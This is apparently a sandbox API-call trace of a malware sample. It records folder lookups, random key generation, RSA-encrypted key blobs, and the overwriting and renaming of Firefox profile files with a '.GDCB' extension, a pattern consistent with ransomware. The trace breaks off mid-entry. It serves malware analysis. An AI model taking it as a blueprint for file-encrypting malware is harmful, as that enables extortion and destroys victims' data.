[0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.856] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.856] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.857] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.857] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.865] GetLastError () returned 0x50 [0135.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.866] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.871] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.875] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.875] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.875] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.876] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.877] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0135.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.878] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0135.878] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.878] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed0e0) returned 1 [0135.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.878] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0135.879] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0135.879] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed300) returned 1 [0135.881] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c7700) returned 1 [0135.881] CryptGetKeyParam (in: hKey=0x2c7700, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.881] CryptEncrypt (in: hKey=0x2c7700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0135.881] GetLastError () returned 0x0 [0135.881] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.881] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0135.883] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c7980) returned 1 [0135.883] CryptGetKeyParam (in: hKey=0x2c7980, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.883] CryptEncrypt (in: hKey=0x2c7980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0135.883] GetLastError () returned 0x0 [0135.883] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.883] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0135.883] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.883] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.884] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x300, lpOverlapped=0x0) returned 1 [0135.892] VirtualAlloc (lpAddress=0x0, dwSize=0x300, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.892] VirtualAlloc (lpAddress=0x0, dwSize=0x300, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0135.893] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.893] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.893] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x300, lpOverlapped=0x0) returned 1 [0135.893] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.893] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.896] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.896] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.896] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0135.896] CloseHandle (hObject=0x4fc) returned 1 [0135.897] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.897] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.897] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.897] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite.gdcb")) returned 1 [0135.898] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed168) returned 1 [0135.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.899] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0135.899] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0135.899] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecfd0) returned 1 [0135.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.899] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0135.900] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0135.900] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0135.901] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c79c0) returned 1 [0135.901] CryptGetKeyParam (in: hKey=0x2c79c0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.902] CryptEncrypt (in: hKey=0x2c79c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0135.902] GetLastError () returned 0x0 [0135.902] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.902] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed168) returned 1 [0135.903] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c7a80) returned 1 [0135.903] CryptGetKeyParam (in: hKey=0x2c7a80, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.903] CryptEncrypt (in: hKey=0x2c7a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0135.904] GetLastError () returned 0x0 [0135.904] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0135.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0135.904] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.904] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.904] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x1d, lpOverlapped=0x0) returned 1 [0135.913] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.913] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0135.913] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.913] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.913] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x20, lpOverlapped=0x0) returned 1 [0135.913] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.913] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.916] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.916] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, 